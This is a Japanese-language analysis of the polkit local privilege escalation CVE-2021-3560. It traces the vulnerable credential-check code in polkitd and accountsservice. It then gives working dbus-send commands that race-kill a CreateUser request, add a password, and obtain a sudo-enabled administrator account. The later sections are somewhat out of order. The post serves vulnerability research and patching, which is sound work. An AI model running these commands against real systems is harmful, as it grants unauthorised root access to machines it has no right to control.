[toc]
脆弱性ID: CVE-2021-3560
脆弱性スコア:
脆弱性製品: linux PolKit (polkitd)
影響範囲: ソースコード 0.113 で導入;https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html
利用条件: linux ローカル;dbus + polkitd が存在
利用効果: ローカル権限昇格
ソースコード入手先:
apt source accountsserviceapt source dbusubuntu デフォルトイメージ ubuntu-20.04.2 で再現可能: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso
まず問題のコードを確認する
/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync
static void
on_retrieved_unix_uid_pid (GObject *src,
GAsyncResult *res,
gpointer user_data)
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error);
if (!v)
{
data->caught_error = TRUE; //何らかの理由で失敗した場合にエラーフラグを設定
}
else
{
··· ···//成功時のデータ処理
}
··· ···
}
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; //data は 0 で初期化
··· ···
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //コールバック関数
&data);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //コールバック関数
&data);
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //バス側の処理完了を待つ、uid と pid が両方処理されるかエラーになるまで
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //とにかく TRUE?
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
}
polkit_system_bus_name_get_creds_sync 関数では、特定のリクエストに対する認証を行います(具体的なロジックのシナリオは後述)。org.freedesktop.DBus バスを介して GetConnectionUnixUser メソッドと GetConnectionUnixProcessID メソッドを順に呼び出します。これらのメソッドは org.freedesktop.DBus バスによって提供され、リクエストプロセスの PID とユーザー UID を取得し、コールバック関数 on_retrieved_unix_uid_pid に渡してデータを処理します。その後、バス側の処理が完了するまでブロックします。
on_retrieved_unix_uid_pid 関数では、バスが返した結果に応じて異常(error?)を設定するかどうかを判断し、異常フラグを設定します。成功した場合は、ユーザー UID またはプロセス PID をそのまま返します。しかし polkit_system_bus_name_get_creds_sync 関数では、バスの戻りを待ってブロック解除した後(処理完了のフラグは UID と PID の両方が処理されたか、異常が発生したかのいずれか)、つまりバスからの戻りは論理的には3種類: ユーザーUIDが0(特権ユーザー)、ユーザーUIDが0以外(通常ユーザー)、異常。 しかし後続の処理では異常を処理せず、上位に返す out_uid をバスが返した data.uid にそのまま設定し、ret を TRUE に設定しています:
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //バス側の処理完了を待つ、uid と pid が両方処理されるかエラーになるまで
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //とにかく TRUE?
しかし、DBUS バス側で例外が発生し、コールバック関数が異常フラグを設定しただけで data を処理せずに戻ってしまうケースが考慮されていません。data は 0 で初期化されているため、後続で out_uid が 0、すなわち特権ユーザーとして設定されてしまいます。
では、この問題のある polkit_system_bus_name_get_creds_sync 関数はどこで使われるのでしょうか。
脆弱性の発生点は polkitd プロセス内です:
polkit はアプリケーションレベルのツールセットで、権限ルールを定義・監査することで、異なる優先度のプロセス間の通信を実現します。制御判断は統一フレームワークに集中し、低優先度プロセスが高優先度プロセスにアクセスする権限があるかどうかを決定します。
簡単に言えば、バックグラウンドで動作する root プロセスであり、プロセス間通信を介して、他の低権限プロセスが高権限プロセスが提供する機能にアクセスする際の権限判断を行います。このプロセスは gdb でアタッチすると再起動するため、ソースコードレベルで分析し、脆弱性関数のトリガーパスを見つける必要があります:
polkitd は gio DBUS プロセス間通信フレームワークを多用しています。事前にマニュアルを確認し、いくつかの重要な関数を把握しておくとよいでしょう。
次に polkitd の脆弱性トリガーパスを分析します。
まず main:
polkit-0.113\src\polkitbackend\polkitd.c : 155 : main
int
main (int argc,
char **argv)
{
··· ···
··· ···
loop = g_main_loop_new (NULL, FALSE);
sigint_id = g_unix_signal_add (SIGINT,
on_sigint,
NULL);
name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
"org.freedesktop.PolicyKit1", //バス名を登録
G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
(opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
on_bus_acquired, //バスにアクセスされたときのコールバック
on_name_acquired,
on_name_lost,
NULL,
NULL);
g_print ("Entering main event loop\n");
g_main_loop_run (loop); //ループ開始
··· ···
··· ···
}
org.freedesktop.PolicyKit1 というバス名を登録し、3つのコールバック関数があります。特に on_bus_acquired に注目します。これはバスにアクセスされたときに呼び出されます。
on_bus_acquired 関数では、直接 polkit_backend_authority_register という型登録関数を呼び出します。
つまり、他の関数がバス org.freedesktop.PolicyKit1.Authority 上の CheckAuthorization メソッドを呼び出す際、特定のシナリオ(DBUS が UID 取得要求に対して異常を返すように制御する)で、このメソッドの認証の正確性に影響を与える可能性があります。答えが直接わかるので、脆弱性の利用方法としては、account-daemon を使用する方法があります。
まず、exploit 作者のこの図を引用します:
図の説明:
polkitd と dbus-daemon および account-daemon の3つのプロセスはすべて root 権限で動作するバックグラウンドサービスのようなプロセスです。dbus-daemon はプロセス間通信の「ルーター」であり、上述の GIO DBUS プロセス間通信フレームワークの中核です。私の理解では、異なるプロセスがここにバス名を登録し、通信したいプロセスがバス名やインターフェース名、メソッド名にアクセスして、そのプロセスの関数を呼び出せるようにするものです。上で紹介した polkitd プロセスのいくつかの関数は、dbus にバスを登録し、他のプロセスからの呼び出しを待つものです。account-daemon は polkitd と似ており、dbus に org.freedesktop.Accounts バスを登録し、ユーザー追加やパスワード設定など、アカウント関連のメソッドを提供します。さらに、このプロセスはユーザー追加などの操作の前にユーザー認証を行い、その認証方法として、上で述べた polkitd プロセスが提供する脆弱性のあるバスメソッド CheckAuthorization を使用します。dbus-send はコマンドです。dbus バスはプロセス間通信呼び出しのためのプログラミングインターフェースを提供する一方で、コマンドラインツールも提供しており、特定のプロセスにメッセージを送信してそのメソッドを呼び出すことができます。したがって、脆弱性悪用の全体的な流れは以下の通りです:
dbus-send コマンドを使用して account-daemon プロセスにメッセージを送信し、管理者ユーザー(このプロセスの CreateUser メソッドはデフォルトで管理者ユーザーを追加) を作成するよう要求します。しかし、自分の権限ではこの操作は完了できません。account-daemon プロセスに送信されると、account-daemon は polkitd プロセスに権限確認を要求し、このユーザー追加操作を承認するかどうかを問い合わせます。polkitd はバスに対して、ユーザー作成リクエストを発行したプロセスのユーザー権限とプロセス ID を問い合わせます。
account-daemon がメッセージを受け取ってから polkitd がリクエスト元プロセスの権限を問い合わせるまでの間に、リクエスト元プロセス(つまり dbus-send プロセス)を kill することです。polkitd プロセスが異常をデフォルトで成功と扱い、ユーザー UID を 0(特権ユーザー)とみなすことです。 これにより脆弱性がトリガーされ、操作が許可されます。dbus-send プロセスが kill されたため、バスのチェックは異常を報告しますが、 には影響しません。 はメッセージを受け取った後、リクエストプロセスが存在するかどうかを気にしません。dbus-daemon は単なる中継プロセスなので詳細な分析は省略しますが、ここでは悪用プロセスで重要な account-daemon プロセスについて分析します。このプロセスも GIO DBUS フレームワークを使用しています。いくつかの重要なポイントを簡単に見てみましょう。まずは:
accountsservice-0.6.45\src\daemon.c : 90
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);
G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
iface->handle_create_user = daemon_create_user;
iface->handle_delete_user = daemon_delete_user;
··· ···
}
ここでは G_DEFINE_TYPE_WITH_CODE と G_IMPLEMENT_INTERFACE マクロを使用して daemon_accounts_accounts_iface_init 関数を実行しています。これらのマクロは、とにかく機会があれば daemon_accounts_accounts_iface_init 関数を実行することを意味します。daemon_accounts_accounts_iface_init 関数では create_user メソッドを登録しています。daemon_create_user 関数の実装を見てみましょう:
accountsservice-0.6.45\src\daemon.c : 1099
static gboolean
daemon_create_user (AccountsAccounts *accounts,
GDBusMethodInvocation *context,
const gchar *user_name,
const gchar *real_name,
gint account_type)
{
··· ···
data = g_new0 (CreateUserData, 1);
data->user_name = g_strdup (user_name);
data->real_name = g_strdup (real_name);
data->account_type = account_type;
daemon_local_check_auth (daemon,
NULL,
"org.freedesktop.accounts.user-administration",
TRUE,
daemon_create_user_authorized_cb, //コールバック関数
context,
data,
(GDestroyNotify)create_data_free);
return TRUE;
}
daemon_create_user の中で daemon_local_check_auth 関数を呼び出してリクエストユーザーの権限を検証し、成功するとコールバック関数 daemon_create_user_authorized_cb を呼び出します。ここで認証関数 daemon_local_check_auth を見てみましょう:
accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth
void
daemon_local_check_auth (Daemon *daemon,
User *user,
const gchar *action_id,
gboolean allow_interaction,
AuthorizedCallback authorized_cb,
GDBusMethodInvocation *context,
gpointer authorized_cb_data,
GDestroyNotify destroy_notify)
{
··· ···
polkit_authority_check_authorization (daemon->priv->authority,
subject,
action_id,
NULL,
flags,
NULL,
(GAsyncReadyCallback) check_auth_cb,
data);
··· ···
}
ここでは polkit_authority_check_authorization 関数を呼び出して認証を行っています。polkit_authority_check_authorization は libpolkit-gobject-1.so.0 が提供するライブラリ関数で、上で分析した polkitd プロセスのバス org.freedesktop.PolicyKit1.Authority 上の CheckAuthorization メソッドを直接呼び出して認証を行います。認証が成功すると、コールバック関数 daemon_create_user_authorized_cb が呼び出されます:
accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb
static void
daemon_create_user_authorized_cb (Daemon *daemon,
User *dummy,
GDBusMethodInvocation *context,
gpointer data)
{
··· ···
argv[0] = "/usr/sbin/adduser";
argv[1] = "--quiet";
argv[2] = "--disabled-login";
argv[3] = "--gecos";
argv[4] = cd->real_name;
argv[5] = cd->user_name;
argv[6] = NULL;
error = NULL;
if (!spawn_with_login_uid (context, argv, &error)) { //ユーザー追加
throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
g_error_free (error);
return;
}
if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
add_user_to_group (context, cd->user_name, "sudo"); //ユーザーを sudo グループに追加
}
··· ···
}
ここでは明らかに、ユーザー追加成功後にそのユーザーを sudo グループに追加しています。そのため、exploit の最後でユーザーを追加した後、sudo su root で root に切り替えることができます。
次に、手動の脆弱性悪用デモを見てみましょう。
一般ユーザーとして直接 dbus-send コマンドを使用して account-daemon にユーザー作成リクエストを送信します:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1
このリクエストは、GUI オペレーティングシステムではパスワード入力ウィンドウが表示されます:
SSH などのコマンドライン端末では直接失敗します:

上記の脆弱性悪用の考え方に基づき、まずこのコマンドの実行時間を確認します:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

次に、このコマンドの実行中(約半分の時間)に kill すると、脆弱性がトリガーされて作成が成功する可能性があります:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!
何度か実行すれば成功します:

そして sudo グループにも含まれています:

同様の方法でパスワードも追加します:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!
User1002 は作成したユーザーの UID に応じて変更する必要があります。パスワードはハッシュ値を使用します。その後、ユーザーに切り替えます。
ここでは exp を詳細には記述しませんが、上記のコマンドを自動化するだけです。github 上の C 言語の exp も動作確認済みです。
最新バージョンにアップグレード
脆弱性開示 (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
hakivvi/exp (github): https://github.com/hakivvi/CVE-2021-3560
m0_56642842 (CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502
polkit_backend_authority_register 関数では、インターフェースオブジェクト org.freedesktop.PolicyKit1.Authority を登録し、コールバック関数テーブル server_vtable を渡します。脆弱性のトリガーポイントはこのコールバック関数テーブル内の一つです:
policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable
static const GDBusInterfaceVTable server_vtable =
{
server_handle_method_call, //コールバック関数
server_handle_get_property,
NULL, /* server_handle_set_property */
};
static void
server_handle_method_call (GDBusConnection *connection,
const gchar *sender,
const gchar *object_path,
const gchar *interface_name,
const gchar *method_name,
GVariant *parameters,
GDBusMethodInvocation *invocation,
gpointer user_data)
{
Server *server = user_data;
PolkitSubject *caller;
caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
if (g_strcmp0 (method_name, "EnumerateActions") == 0)
server_handle_enumerate_actions (server, parameters, caller, invocation);
else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
server_handle_check_authorization (server, parameters, caller, invocation); //脆弱性関数のパスはここ
··· ···
··· ···
}
他のプロセスがバスを介して CheckAuthorization メソッドを呼び出すと、server_handle_check_authorization 関数が呼び出されます。
server_handle_check_authorization 関数内で polkit_backend_authority_check_authorization を呼び出します。
polkit_backend_authority_check_authorization 関数内でコールバックを介して klass->check_authorization を呼び出します。後者は登録された関数 polkit_backend_interactive_authority_check_authorization です:
polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization
void
polkit_backend_authority_check_authorization (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
GCancellable *cancellable,
GAsyncReadyCallback callback,
gpointer user_data)
{
··· ···
if (klass->check_authorization == NULL)
{
··· ···
}
else
{
klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 登録されているのは polkit_backend_interactive_authority_check_authorization
}
}
authority_class->check_authorization = /
polkit_backend_interactive_authority_check_authorization; //別の場所で初期化
次に順にたどります: check_authorization_sync
polkit_backend_session_monitor_get_user_for_subject
脆弱性関数: polkit_system_bus_name_get_user_sync
account-daemonaccount-daemonaccount-daemon は polkitd から許可の応答を受け取ると、ユーザーを作成し、悪用が完了します。